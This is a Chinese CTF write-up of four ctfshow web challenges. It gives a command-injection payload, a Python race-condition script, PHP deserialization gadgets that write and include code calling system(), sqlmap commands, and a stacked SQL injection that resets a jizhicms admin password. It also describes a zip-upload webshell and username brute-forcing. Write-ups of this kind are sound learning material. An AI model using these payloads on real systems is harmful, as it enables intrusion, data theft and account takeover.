文章目录

  • web_checkin
  • easy_unserialize
  • easy_cms
  • RealWorld_CyberShow

web_checkin

。。。。。。我傻了 数错字符了。。。。。
直接

?code=?><?=`nl%09/*`

就可以了。

原来的做法
输入

?code=?><?=`nl%09*`

得到源码

很明显是想让我们条件竞争。
生成文件

?code=`nl%09/*>b`

开始竞争

import requests
import threading
import sys
session=requests.session()
url1="http://ba2bd9c4-6f58-45a1-a637-3cf0140e89c1.challenge.ctf.show:8080/sandbox/3fa05e3dafa3d6413be416b360149b5c/"
url2='http://ba2bd9c4-6f58-45a1-a637-3cf0140e89c1.challenge.ctf.show:8080/sandbox/3fa05e3dafa3d6413be416b360149b5c/b'
def write():while True:r = session.get(url1)
def read():while True:r = session.get(url2)if len(r.text)!=9561: #随便get传一次就能得到这个长度print(r.text)threads = [threading.Thread(target=write),threading.Thread(target=read)]
for t in threads:t.start()

easy_unserialize

非预期了

<?php
class A{}
class main{public $settings;public $params;public function __construct(){$this->settings=array('error_log'=>'yu.php','unserialize_callback_func'=>'<?php system("cat /f*");?>','html_errors'=>false);$this->params=serialize(new A());      }
}
$a=new main();
echo serialize($a);
ini_set('error_log','yu.php');错误日志写入的文件名ini_set('unserialize_callback_func','mycallback');
当反序列化后,PHP会寻找mycallback这个方法来include这个类文件,如果你没定义这个方法则报错。ini_set('html_errors',false);
不加这个的话,错误日志内容会html编码。

首先我们可以通过error_log生成php文件,剩下的就是怎么把想执行的命令在报错中显示。
剩下的就交给unserialize_callback_func了,只要值是没有定义的方法,就会把这个方法在报错中显示出来。

其实unserialize_callback_func还有一个功能,就是可以执行函数,函数的参数是反序列化的类名。

<?php
class main{public $settings;public $params;public function __construct(){$this->settings=array('unserialize_callback_func'=>'system',);$this->params='O:2:"ls":0:{}';      }
}
$a=new main();
echo serialize($a);

这样其实是可以执行system(‘ls’)的,但是类名只能有_(下划线)一个特殊符号,所以放弃了。

预期解

<?php
class settings{}
class main{public $settings;public $params;public function __construct(){$this->settings=array('unserialize_callback_func'=>'spl_autoload',);//$this->params=serialize("<?php system('cat /f*');"); 生成settings.inc文件,内容是<?php system('cat /f*');//$this->params=serialize(new settings()); 加载settings.inc}
}
$a=new main();
echo serialize($a);
spl_autoload
它可以接收两个参数,第一个参数是$class_name,表示类名,第二个参数$file_extensions是可选的,表示类文件的扩展名,如果不指定的话,它将使用默认的扩展名.inc或.php

也就是说如果第一个参数是settings第二个没有传值,就会去加载(include)settings.inc文件,并且setting.inc文件内容我们可控。

easy_cms

可以sqlmap跑出来具体的管理员所在的表,也可以直接自己本地搭一下。
表名jz_level 列名 name,pass
pytno sqlmap.py url/home/jizhi_details/?id=1 -D jizhicms192 -T jz_level -C name,pass --dump --batch
得到用户名feng,和加密的密码

问的别的师傅说是堆叠注入,然后sqlmap跑了下,拿到个payload。

python sqlmap.py -u  url/home/jizhi_details/?id=1 --technique S --risk 3 --level 5 --dbs --batch


接着修改管理员密码。
home/jizhi_details/?id=1';update jz_level set pass='a07b6751d2d9fb3a3a8488a030c69ec6' where name='feng'%23
在源码里找了下具体的对比密码的代码


我上面用的密码123456编码后的。
在数据库中存储的就是 md5(md5(123456).YF)。先md5加密123456,得到的字符串拼接上YF再进行md5加密。

接着进入后台找getshell点。题目给了个提示hint:后台似乎有个压缩包getshell.
搜了下

发现有个和解压缩包相关的。在他之前还有个下载文件的.

也就是说我们把一句话压缩成zip,然后上传再解压就可以getshell了。
在插件里面发现了和下载相关的,应该就是这个地方了。

bp抓包,其中有如下这么一个包。

url我们改成自己vps的,返回了具体的位置。

再来看下解压的函数,最终会把解压的文件放入这个目录下。

我们在原来包的基础上将action改成file_upzip


接着去访问/A/exts/2.php就可以了 (因为压缩的文件是2.php)

RealWorld_CyberShow

密码直接给了,然后用户名还给了示例。

剩下的就是.。。。。。。。。爆破用户名。。。。。。。。。。。。
试试从2020000000开始爆破
到2020036001出来了。。。。。。。。
非预期了

ctfshow 大牛杯web相关推荐

  1. ctfshow 新手杯web

    easy_eval 拿到题目: <?phperror_reporting(0); highlight_file(__FILE__);$code = $_POST['code'];if(isset ...

  2. CTFSHOW 新生杯web

    easy_eval 利用script标签绕过 code=<script language="php">system("cat /f*");</ ...

  3. CTFSHOW新手杯MISC部分WriteUp

    引文 之前复现了CTFSHOW新人杯的WEB方向部分题目,今天就复现一下MISC为主的题目,可能有些读者不太明白MISC方向是什么意思,简单来说就是"杂项",包括:隐写,压缩包处理 ...

  4. ctfshow单身杯

    目录 <1> web (1)签到(data协议) (2) easyPHP(awk执行命令) (3) 姻缘测试(ssti) (4) blog <2> Misc (1)misc签到 ...

  5. CTFshow月饼杯crypto部分wp

    CTFshow月饼杯crypto部分wp crypto 1 题目描述: 密文如下: 第一行给出为自动密码,搜索到相关文章下载break_autokey.py和相关的词频统计脚本,修改ctext跑一下发 ...

  6. ctfshow七夕杯

    ctfshow七夕杯misc海盗的密码WP 题目链接 题目描述 阿卜杜拉希.三哈.穆罕默德是一名来自索马里的海盗,当他不工作的时候,就喜欢窝在家里上上网,学学安全方面的知识. 听说他喜欢用ip地址做密 ...

  7. 【蓝桥杯Web】2022年第十三届蓝桥杯Web大学组国赛真题解析

    前言 省赛真题解析见: 2022年第十三届蓝桥杯Web大学组省赛真题解析(完整版) 2022年第十三届蓝桥杯Web大学组省赛真题解析(精华版) 更多蓝桥杯题解请查阅专栏:蓝桥杯 之前写省赛解析时篇幅过 ...

  8. 【蓝桥杯Web】第十三届蓝桥杯(Web 应用开发)省赛真题

    前言 第十三届蓝桥杯全国软件和信息技术专业人才大赛(软件类)新开了Web应用开发比赛,本文介绍第十三届蓝桥杯Web应用开发的省赛题目以及解析. 文章目录 前言 一.水果拼盘 二.展开你的扇子 三.和手 ...

  9. 蓝桥杯 Web 应用开发模拟赛首次公开!参赛选手速进!

    第十三届蓝桥杯大赛报名通道正式开启,你行动起来了吗? 很多细心的小伙伴一定看到了,这届蓝桥杯大赛中新增了 Web 应用开发组.这是 Web 应用开发首次出现在杯赛中,所以没有历年真题可以供参赛选手刷题 ...

最新文章

  1. [原创]软件产品的质量
  2. [ARM-assembly]-A64的load/store指令总结
  3. 第五届[2013年]全国大学生数学竞赛[数学类]试题六参考解答
  4. zoj 1091 Knight Moves
  5. 百倍性能的PL/SQL优化案例(r11笔记第13天)
  6. 交换机中tag、untag的理解
  7. android avrcp处理流程,(VR虚拟现实)Android 蓝牙AVRCP功能的实现.doc
  8. sql中concat函数_SQL中的CONCAT函数概述和示例
  9. Navicat数据库查询时字体
  10. linux查看gc日志,GC通用日志解读
  11. 天翼阅读倾情回馈——《海盗鬼皮书》限时免费畅读
  12. 手机/移动端的UI框架-Vant和NutUI
  13. 华为手机怎么隐藏按键图标_原来华为手机右上角隐藏扫描仪!纸质档一键电子化,真的涨知识了...
  14. 谷粒学苑项目实战(九):实现阿里云对象存储OSS功能
  15. php unix时间戳,php UNIX时间戳用法详解
  16. 迷你!方便!小程 序!
  17. 关于键盘asdw键和上下左右键互换问题
  18. antd table 可伸缩列卡优化思路
  19. 【DETR源码解析】二、Backbone模块
  20. 看萧井陌b站直播第一集的收获,附代码

热门文章

  1. 台式计算机金河田机箱组装机,组装电脑,金河田电脑机箱将让你眼前一亮
  2. 有幸一睡鸿蒙窍,《鸿蒙之初》超详细内容介绍附带隐藏彩蛋解锁方法
  3. Windows 2008 - 由于管理员设置的策略,该磁盘处于脱机状态
  4. vue3 ts defineProps
  5. VUE:No PostCSS Config found 解决
  6. 基于uniapp+uview实现自定义导航栏
  7. borland c 编译c语言,怎样可以把codeblocks里的编译器设置为borland c?
  8. AI不小心画版变透明了如何恢复
  9. c语言中gets与fgets,gets和fgets函数及其区别,C语言gets和fgets函数详解
  10. android圆形头像